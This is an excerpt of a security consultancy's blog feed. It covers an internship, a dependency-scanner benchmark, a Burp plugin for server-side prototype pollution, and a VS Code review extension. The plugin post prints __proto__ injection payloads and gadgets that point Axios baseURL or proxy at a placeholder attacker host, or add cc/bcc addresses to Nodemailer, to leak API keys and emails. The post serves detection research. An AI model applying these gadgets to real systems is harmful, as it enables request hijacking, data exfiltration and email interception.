&lt;p&gt;During the internship, you’re also given 50% of your time to perform application security R&amp;amp;D. During my research weeks I was assigned to an open source project. In fact, I was tasked to write some plugins for Google’s web security scanner &lt;a href=&quot;https://github.com/google/tsunami-security-scanner&quot;&gt;Tsunami&lt;/a&gt;. This is a general purpose network security scanner, with an extensible plugins system for detecting high severity vulnerabilities with high confidence. Essentially, writing a plugin for Tsunami requires understanding a certain vulnerability in a product and writing an exploit for it, that can be used to confirm its existence when scanning. I was assigned to write two plugins which detect weak credentials on the &lt;a href=&quot;https://github.com/google/tsunami-security-scanner-plugins/pull/372&quot;&gt;RabbitMQ Management Portal&lt;/a&gt; and &lt;a href=&quot;https://github.com/google/tsunami-security-scanner-plugins/pull/362&quot;&gt;RStudio server&lt;/a&gt;. The plugins are written in Java, and since I’ve done a bit of Java programming during my Bachelor’s degree program I felt quite confident about it.&lt;/p&gt;

&lt;p&gt;I really enjoyed writing those plugins and was also asked to write unit tests and a testbed that were used to actually reproduce the vulnerabilities. It was a really fun experience!&lt;/p&gt;

&lt;h3 id=&quot;responsibilities-1&quot;&gt;Responsibilities&lt;/h3&gt;

&lt;p&gt;As Aleandro already explained, interns are given a lot of responsibilities along with a great sense of freedom at Doyensec. I would add just one thing, which is about time management. This is one of the most difficult things for me to do. In a remote company, you don’t have time clocks or similar, so you can choose to work the way that you prefer. Luca told me several times that at Doyensec the output is what is evaluated. This is a big thing for me to deal with since I was used to work a fixed schedule. Doyensec gave me the flexibility to work in the way I prefer, which for me, is invaluable. That said, the activities are complex enough to keep you busy for several hours a day, but they are so enjoyable.&lt;/p&gt;

&lt;h3 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h3&gt;
&lt;p&gt;Being an intern at Doyensec is an awesome experience because it allows you to jump into the world of application security without the need for extensive job experience. You can be successful as long as you have the skills and knowledge, regardless of how you acquired them.&lt;/p&gt;

&lt;p&gt;Moreover, during those three months you’ll be able to test your skills and learn new ones on different technologies across a variety of targets. You’ll also get to know passionate and skilled people, and if you’re lucky enough, take part in company retreats and get some exclusive swag.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/aleandro-intern-retreat.jpeg&quot; alt=&quot;Gift from the retreat&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;In the end, you should consider applying for the next call for interns, if you:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;are passionate about application security&lt;/li&gt;
  &lt;li&gt;have already good web security skills&lt;/li&gt;
  &lt;li&gt;have organizational capabilities&lt;/li&gt;
  &lt;li&gt;want scheduling flexibility&lt;/li&gt;
  &lt;li&gt;can manage remote work&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;If you’re interested in the role and think you’d make a good fit, apply via our careers page:&lt;/strong&gt; &lt;a href=&quot;https://www.careers-page.com/doyensec-llc&quot;&gt;https://www.careers-page.com/doyensec-llc&lt;/a&gt;. We’re now accepting candidates for the Summer Internship 2024.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>A Look at Software Composition Analysis</title>
   <link href="https://blog.doyensec.com/2024/03/14/supplychain.html"/>
   <updated>2024-03-14T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2024/03/14/supplychain</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/sca_supplychain.png&quot; alt=&quot;Software Supply Chain as a factory assembly line&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 450px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;background&quot;&gt;Background&lt;/h3&gt;

&lt;p&gt;At Doyensec, we specialize in performing white and gray box application security audits. So, in addition to dynamically testing applications, we typically audit our clients’ source code as well. This process is often software-assisted, with open source and off-the-shelf tools. Modern comprehensive versions of these tools offer the capabilities to detect the inclusion of vulnerable third-party libraries, commonly referred to as software composition analysis (SCA).&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/sca_right_fit.png&quot; alt=&quot;Finding the right tool&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 450px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Three well-known tools in the SCA space are &lt;a href=&quot;https://snyk.io/&quot;&gt;Snyk&lt;/a&gt;, &lt;a href=&quot;https://semgrep.dev/&quot;&gt;Semgrep&lt;/a&gt; and &lt;a href=&quot;https://docs.github.com/en/code-security/dependabot&quot;&gt;Dependabot&lt;/a&gt;. The first two are stand-alone applications, with cloud components to them and the last is integrated into the GitHub(.com) environment directly. Since &lt;a href=&quot;https://doyensec.com/services/security-automation.html&quot;&gt;Security Automation&lt;/a&gt; is one of our core competencies, Doyensec has extensive experience with these tools, from writing custom detection rules for Semgrep, to assisting clients with selecting and deploying these types of tools in their SDLC processes. We have also previously published research into some of these, with regards to their Static Analysis Security Testing (SAST) capabilities. You can find those results &lt;a href=&quot;https://blog.doyensec.com/2022/10/06/semgrep-codeql.html&quot;&gt;here&lt;/a&gt;. After discussing this research directly with Semgrep, we were asked to perform &lt;strong&gt;an unbiased head-to-head comparison of the SCA functionality of these tools&lt;/strong&gt; as well.&lt;/p&gt;

&lt;h3 id=&quot;its-time-to-ignore-most-of-dependency-alerts&quot;&gt;It’s time to ignore most of dependency alerts.&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;You will find the results of this latest analysis &lt;a href=&quot;https://www.doyensec.com/resources/Doyensec_Software_Composition_Analysis_Benchmark.pdf&quot;&gt;here&lt;/a&gt; on our research page.&lt;/strong&gt; Included in that whitepaper, we describe the process taken to develop the testing corpus and our methodology. In short, the aim was to determine which tool could provide the most actionable and efficient results (i.e., high true positive rates), regardless of the false negative rates. This scenario was thought to be the optimal real-world scenario for most security teams, because most can’t afford to routinely spend hours or days chasing false positives. The person-hours required to triage low fidelity tools in the hopes of an occasional true positive are simply too costly for all but the largest teams in the most secure environments. Additionally, any attempts at implementing deployment blocking as a result of CI/CD testing are unlikely to tolerate more than a minimal amount of false positives.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/sca_results.png&quot; alt=&quot;False Positive Rate&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 450px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;more-to-come&quot;&gt;More to Come&lt;/h3&gt;

&lt;p&gt;We hope you find the whitepaper comparing the tools informative and useful. Please follow our blog for more posts on current trends and topics in the world of application security. If you would like assistance with your application security projects, including security automation services, feel free to contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Unveiling the Prototype Pollution Gadgets Finder</title>
   <link href="https://blog.doyensec.com/2024/02/17/server-side-prototype-pollution-Gadgets-scanner.html"/>
   <updated>2024-02-17T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2024/02/17/server-side-prototype-pollution-Gadgets-scanner</id>
   <content type="html">&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;Prototype pollution has recently emerged as a fashionable vulnerability within the realm of web security. This vulnerability occurs when an attacker exploits the nature of JavaScript’s prototype inheritance to modify a prototype of an object. By doing so, they can inject malicious code or alter an application to behave in unintended ways. This could potentially lead to sensitive information leakage, type confusion vulnerabilities, or even remote code execution, under certain conditions.&lt;/p&gt;

&lt;p&gt;For those interested in diving deeper into the technicalities and impacts of prototype pollution, we recommend checking out &lt;a href=&quot;https://portswigger.net/web-security/prototype-pollution&quot;&gt;PortSwigger’s comprehensive guide&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// Example of prototype pollution in a browser console
Object.prototype.isAdmin = true;
const user = {};
console.log(user.isAdmin); // Outputs: true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To fully understand the exploitation of this vulnerability, it’s crucial to know what “sources” and “gadgets” are.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Sources&lt;/strong&gt;: A source in the context of prototype pollution refers to a piece of code that performs a recursive assignment without properly validating the objects involved. This action creates a pathway for attackers to modify the prototype of an object. The main sources of prototype pollution are:
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Custom Code&lt;/strong&gt;: This includes code written by developers that does not adequately check or sanitize user input before processing it. Such code can directly introduce vulnerabilities into an application.&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;Vulnerable Libraries&lt;/strong&gt;: External libraries that contain vulnerabilities can also lead to prototype pollution. This often happens through recursive assignments that fail to validate the safety of the objects being merged or extended.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// Example of recursive assignment leading to prototype pollution
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Gadgets&lt;/strong&gt;: Gadgets refer to methods or pieces of code that exploit the prototype pollution vulnerability to achieve an attack. By manipulating the prototype of a base object, attackers can alter the application’s logic, gain unauthorized access, or execute arbitrary code, depending on the application’s structure and the nature of the polluted prototype.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;state-of-the-art&quot;&gt;State of the Art&lt;/h3&gt;

&lt;p&gt;Before diving into the specifics of our research, it’s crucial to understand the landscape of existing research on prototype pollution. This will help us identify the gaps in current methodologies and tools, and how our work aims to address them.&lt;/p&gt;

&lt;p&gt;On the client side, there is a wealth of research and tools available. For sources, an excellent starting point is the compilation found on GitHub (&lt;a href=&quot;https://github.com/BlackFan/client-side-prototype-pollution&quot;&gt;client-side prototype pollution sources&lt;/a&gt;). As for gadgets, detailed exploration and exploitation techniques have been documented in various write-ups, such as &lt;a href=&quot;https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2&quot;&gt;this informative piece on InfoSec Writeups&lt;/a&gt; and &lt;a href=&quot;https://portswigger.net/web-security/prototype-pollution/client-side&quot;&gt;PortSwigger’s own guide on client-side prototype pollution&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Additionally, there are tools designed to detect and exploit this vulnerability in an automated manner, both from the command line and within the browser. These include the &lt;a href=&quot;https://github.com/yeswehack/pp-finder&quot;&gt;PP-Finder CLI tool&lt;/a&gt; and &lt;a href=&quot;https://portswigger.net/blog/finding-client-side-prototype-pollution-with-dom-invader&quot;&gt;DOM Invader&lt;/a&gt;, a feature of Burp Suite designed to uncover client-side prototype pollution.&lt;/p&gt;

&lt;p&gt;However, the research and tooling landscape for server-side prototype pollution presents a different picture:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://portswigger.net/research/server-side-prototype-pollution&quot;&gt;PortSwigger’s research&lt;/a&gt; provides a foundational understanding of server-side prototype pollution with various detection methodologies. However, a significant limitation is that some of these detection methods have become obsolete over time. More importantly, while it excels in identifying vulnerabilities, it does not extend to facilitating their real-world exploitation using gadgets. This gap indicates a need for tools that not only detect but also enable the practical exploitation of identified vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;On the other hand, &lt;a href=&quot;https://www.yeswehack.com/learn-bug-bounty/server-side-prototype-pollution-how-to-detect-and-exploit&quot;&gt;YesWeHack’s guide&lt;/a&gt; introduces several intriguing gadgets, some of which have been incorporated into our plugin (below). Despite this valuable contribution, the guide occasionally ventures into hypothetical scenarios that may not always align with realistic application contexts. Moreover, it falls short of providing an automated approach for discovering gadgets in a black-box testing environment. This is crucial for comprehensive vulnerability assessments and exploitation in real-world settings.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This overview underscores the need for further innovation in server-side prototype pollution research, specifically in developing tools that not only detect but also exploit this vulnerability in a practical, automated manner.&lt;/p&gt;

&lt;h3 id=&quot;about-the-plugin&quot;&gt;About the Plugin&lt;/h3&gt;

&lt;p&gt;Following the insights previously discussed, we’ve developed a Burpsuite plugin for detecting gadgets in server-side prototype pollution: the &lt;strong&gt;Prototype Pollution Gadgets Finder&lt;/strong&gt;, available at &lt;a href=&quot;https://github.com/doyensec/Prototype-Pollution-Gadgets-Finder&quot;&gt;GitHub&lt;/a&gt;. This tool represents a novel approach in the realm of web security, focusing on the precise identification and exploitation of prototype pollution vulnerabilities.&lt;/p&gt;

&lt;p&gt;The core functionality of this plugin is to take a JSON object from a request and systematically attempt to poison all possible fields with a predefined set of gadgets. For example, given a JSON object:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;user&quot;: &quot;example&quot;,
  &quot;auth&quot;: false
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The plugin would attempt various poisonings, such as:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;user&quot;: {&quot;__proto__&quot;: &amp;lt;polluted_object&amp;gt;},
  &quot;auth&quot;: false
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;user&quot;: &quot;example&quot;,
  &quot;auth&quot;: {&quot;__proto__&quot;: &amp;lt;polluted_object&amp;gt;}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our decision to create a new plugin, rather than relying solely on custom checks (bchecks) or the existing server-side prototype pollution scanner highlighted in &lt;a href=&quot;https://portswigger.net/blog/server-side-prototype-pollution-scanner&quot;&gt;PortSwigger’s blog&lt;/a&gt;, was driven by a practical necessity. These tools, while powerful in their detection capabilities, do not automatically revert the modifications made during the detection process. Given that some gadgets could adversely affect the system or alter application behavior, our plugin specifically addresses this issue by carefully removing the poisonings after their detection. This step is crucial to ensure that the exploitation process does not compromise the application’s functionality or stability. By taking this approach, we aim to provide a tool that not only identifies vulnerabilities but also maintains the integrity of the application by preventing potential disruptions caused by the exploitation activities.&lt;/p&gt;

&lt;p&gt;Furthermore, all gadgets introduced by the plugin operate out-of-bounds (OOB). This design choice stems from the understanding that the source of pollution might be entirely separate from where a gadget is triggered within the application’s codebase. Therefore, the exploitation occurs asynchronously, relying on OOB techniques that wait for interaction. This method ensures that even if the polluted property is not immediately used, it can still be exploited, once the application interacts with the poisoned prototype. This showcases the versatility and depth of our scanning approach.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/plugin_pp_screenshot.png&quot; alt=&quot;Plugin Screenshot&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;methodology-for-finding-gadgets&quot;&gt;Methodology for Finding Gadgets&lt;/h3&gt;

&lt;p&gt;To discover gadgets capable of altering an application’s behavior, our approach involved a thorough examination of the documentation for common Node.js libraries. We focused on identifying optional parameters within these libraries that, when modified, could introduce security vulnerabilities or lead to unintended application behaviors. Part of our methodology also includes defining a standard format for describing each gadget within our plugin:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
&quot;payload&quot;: {&quot;&amp;lt;parameter&amp;gt;&quot;: &quot;&amp;lt;URL&amp;gt;&quot;},
&quot;description&quot;: &quot;&amp;lt;Description&amp;gt;&quot;,
&quot;null_payload&quot;: {&quot;&amp;lt;parameter&amp;gt;&quot;: {}}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Payload&lt;/strong&gt;: Represents the actual payload used to exploit the vulnerability. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;URL&amp;gt;&lt;/code&gt; placeholder is where the URL of the collaborator is inserted.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Description&lt;/strong&gt;: Provides a brief explanation of what the gadget does or what vulnerability it exploits.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Null_payload&lt;/strong&gt;: Specifies the payload that should be used to revert the changes made by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payload&lt;/code&gt;, effectively “de-poisoning” the application to prevent any unintended behavior.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This format ensures a consistent and clear way to document and share gadgets among the security community, facilitating the identification, testing, and mitigation of prototype pollution vulnerabilities.&lt;/p&gt;

&lt;h4 id=&quot;axios-library&quot;&gt;Axios Library&lt;/h4&gt;

&lt;p&gt;Axios is widely used for making HTTP requests. By examining the &lt;a href=&quot;https://axios-http.com/docs/config_defaults&quot;&gt;Axios documentation&lt;/a&gt; and &lt;a href=&quot;https://axios-http.com/docs/req_config&quot;&gt;request configuration options&lt;/a&gt;, we identified that certain parameters, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;baseURL&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proxy&lt;/code&gt;, can be exploited for malicious purposes.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerable Code Example&lt;/strong&gt;:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;app.get(&quot;/get-api-key&quot;, async (req, res) =&amp;gt; {
  try {
      const instance = axios.create({baseURL: &quot;https://doyensec.com&quot;});
      const response = await instance.get(&quot;/?api-key=&amp;lt;API_KEY&amp;gt;&quot;);
  }
});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Gadget Explanation&lt;/strong&gt;: Manipulating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;baseURL&lt;/code&gt; parameter allows for the redirection of HTTP requests to a domain controlled by an attacker, potentially facilitating Server-Side Request Forgery (SSRF) or data exfiltration. For the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proxy&lt;/code&gt; parameter, the key to exploitation lies in the ability to suggest that outgoing HTTP requests could be rerouted through an attacker-controlled proxy. While Burp Collaborator itself does not support acting as a proxy to directly capture or manipulate these requests, the subtle fact that it can detect DNS lookups initiated by the application is crucial. The ability to observe the DNS requests to domains we control, triggered by poisoning the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proxy&lt;/code&gt; configuration, indicates the application’s acceptance of this poisoned configuration. It highlights the potential vulnerability without the need to directly observe proxy traffic. This insight allows us to infer that with the correct setup (outside of Burp Collaborator), an actual proxy could be deployed to intercept and manipulate HTTP communications fully, demonstrating the vulnerability’s potential exploitability.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Gadget for Axios&lt;/strong&gt;:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;payload&quot;: {&quot;baseURL&quot;: &quot;https://&amp;lt;URL&amp;gt;&quot;},
  &quot;description&quot;: &quot;Modifies 'baseURL', leading to SSRF or sensitive data exposure in libraries like Axios.&quot;,
  &quot;null_payload&quot;: {&quot;baseURL&quot;: {}}
},
{
  &quot;payload&quot;: {&quot;proxy&quot;: {&quot;protocol&quot;: &quot;http&quot;, &quot;host&quot;: &quot;&amp;lt;URL&amp;gt;&quot;, &quot;port&quot;: 80}},
  &quot;description&quot;: &quot;Sets a proxy to manipulate or intercept HTTP requests, potentially revealing sensitive info.&quot;,
  &quot;null_payload&quot;: {&quot;proxy&quot;: {}}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;nodemailer-library&quot;&gt;Nodemailer Library&lt;/h4&gt;

&lt;p&gt;Nodemailer is another library we explored and is primarily used for sending emails. The &lt;a href=&quot;https://nodemailer.com/message/&quot;&gt;Nodemailer documentation&lt;/a&gt; reveals that parameters like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cc&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc&lt;/code&gt; can be exploited to intercept email communications.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerable Code Example&lt;/strong&gt;:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;transporter.sendMail(mailOptions, (error, info) =&amp;gt; {
  if (error) {
      res.status(500).send('500!');
  } else {
      res.send('200 OK');
  }
});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Gadget Explanation&lt;/strong&gt;: By adding ourselves as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cc&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc&lt;/code&gt; recipient in the email configuration, we can potentially intercept all emails sent by the platform, gaining access to sensitive information or communication.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Gadget for Nodemailer&lt;/strong&gt;:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;payload&quot;: {&quot;cc&quot;: &quot;email@&amp;lt;URL&amp;gt;&quot;},
  &quot;description&quot;: &quot;Adds a CC address in email libraries, potentially intercepting all platform emails.&quot;,
  &quot;null_payload&quot;: {&quot;cc&quot;: {}}
},
{
  &quot;payload&quot;: {&quot;bcc&quot;: &quot;email@&amp;lt;URL&amp;gt;&quot;},
  &quot;description&quot;: &quot;Adds a BCC address in email libraries, similar to 'cc', for intercepting emails.&quot;,
  &quot;null_payload&quot;: {&quot;bcc&quot;: {}}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/gadget_found_screenshot.png&quot; alt=&quot;Gadget Found&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Our methodology emphasizes the importance of understanding library documentation and how optional parameters can be leveraged maliciously. We encourage the community to contribute by identifying new gadgets and sharing them. Visit our &lt;a href=&quot;https://github.com/doyensec/Prototype-Pollution-Gadgets-Finder&quot;&gt;GitHub repository&lt;/a&gt; for a comprehensive installation guide and to start using the tool.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Introducing PoIEx - Points Of Intersection Explorer</title>
   <link href="https://blog.doyensec.com/2024/01/30/poiex-release.html"/>
   <updated>2024-01-30T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2024/01/30/poiex-release</id>
   <content type="html">&lt;p&gt;We are releasing a previously internal-only tool to improve Infrastructure as Code (IaC) analysis and enhance Visual Studio Code allowing real-time collaboration during manual code analysis activities. We’re excited to announce that PoIEx is now &lt;a href=&quot;https://github.com/doyensec/PoiEx&quot; target=&quot;_blank&quot;&gt;available on Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/poiex-logo.png&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 350px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Nowadays, cloud-oriented solutions are no longer a buzzword, cloud providers offer ever more intelligent infrastructure services, handling features ranging from simple object storage to complex tasks such as user authentication and identity access management. With the growing complexity of cloud infrastructure, the interactions between application logic and infrastructure begin to play a critical role in ensuring application security.&lt;/p&gt;

&lt;p&gt;With many recent high-profile incidents resulting from an insecure combination of web and cloud related technologies, focusing on the points where they meet is crucial to discover new bugs.&lt;/p&gt;

&lt;p&gt;PoIEx is a new Visual Studio Code extension that aids testers in analyzing interactions between code and infrastructure by enumerating, plotting and connecting the so called &lt;strong&gt;Points of Intersection&lt;/strong&gt;. 
&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;introducing-the-point-of-intersection---a-novel-approach-to-iac-app-analysis&quot;&gt;Introducing the Point of Intersection - A novel approach to IaC-App analysis&lt;/h3&gt;

&lt;p&gt;A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Point of Intersection (PoI)&lt;/code&gt; marks where the code interacts with the underlying cloud infrastructure, revealing connections between the implemented logic and the Infrastructure as Code (IaC) defining the configuration of the involved cloud services.&lt;/p&gt;

&lt;p&gt;Enumerating PoIs is crucial while performing manual reviews to find hybrid cloud-web vulnerabilities exploitable by tricking the application logic into abusing the underlying infrastructure service.&lt;/p&gt;

&lt;p&gt;PoIEx identifies and visualizes PoIs, allowing security engineers and cloud security specialists to better understand and identify security vulnerabilities in cloud-oriented applications.&lt;/p&gt;

&lt;h1 id=&quot;poiex-enhancing-vscode-to-support-code-reviews&quot;&gt;PoIEx: Enhancing VSCode to support Code Reviews&lt;/h1&gt;

&lt;p&gt;PoIEx scans the application code and the IaC definition at the same time, leveraging Semgrep and custom rulesets, finds code sections that are IaC-relevant, and visualizes results in a nice and user-friendly view. Engineers can &lt;strong&gt;navigate the infrastructure diagram&lt;/strong&gt; and quickly &lt;strong&gt;jump to the relevant application code sections&lt;/strong&gt; where the selected infrastructure resource is used.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/gif1poiex.gif&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 650px;&quot; /&gt;&lt;figcaption&gt;&lt;i&gt;Example infrastructure diagram generation and PoIs exploration&lt;/i&gt;&lt;/figcaption&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;If you use VSCode to audit large codebases you may have noticed that all of its features are tailored towards the needs of the developer community. At Doyensec we have solved this issue with PoiEx. The extension enhances VSCode with all the features required to efficiently perform code reviews, such as &lt;strong&gt;advanced collaboration capabilities&lt;/strong&gt;, &lt;strong&gt;notes taking&lt;/strong&gt; using the VS Code Comments API and integration with &lt;a href=&quot;https://semgrep.dev/&quot; target=&quot;_blank&quot;&gt;Semgrep&lt;/a&gt;, allowing it to be used also as a standalone Semgrep and project collaboration tool, without any of its IaC-specific features.&lt;/p&gt;

&lt;p&gt;At Doyensec, we use PoIEx as a collaboration and review-enhancement tool. &lt;br /&gt; Below we introduce the non-IaC related features, along with our use cases.&lt;/p&gt;

&lt;h3 id=&quot;️-notes-taking-as-organized-threads&quot;&gt;✍️ Notes Taking As Organized Threads&lt;/h3&gt;
&lt;p&gt;PoIEx adds commenting capabilities to VSCode. Users can place sticky notes to any code locations without editing the codebase.&lt;br /&gt;&lt;br /&gt;
At Doyensec, we usually organize threads with a naming convention involving prefixes like: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VULN&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LEAD&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TODO&lt;/code&gt;, etc.  We have found that placing shared annotations directly on the codebase greatly improves efficiency when multiple testers are working on the same project.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/poiexgif2.gif&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;figcaption&gt;&lt;i&gt;Example notes usage with organized threads&lt;/i&gt;&lt;/figcaption&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;In collaboration mode, members receive an interactive notification for every reply or thread creation, enabling real-time sync among the reviewers about leads, notes and vulnerabilities.&lt;/p&gt;

&lt;h3 id=&quot;-poiex-as-a-standalone-semgrep-extension-for-vscode&quot;&gt;👨‍💻 PoIEx as a standalone Semgrep extension for VSCode&lt;/h3&gt;
&lt;p&gt;PoIEx works also as a standalone VSCode extension for Semgrep. PoIEx allows the user to scan the entire workspace and presents Semgrep findings nicely in the VSCode “Problems” tab.&lt;/p&gt;

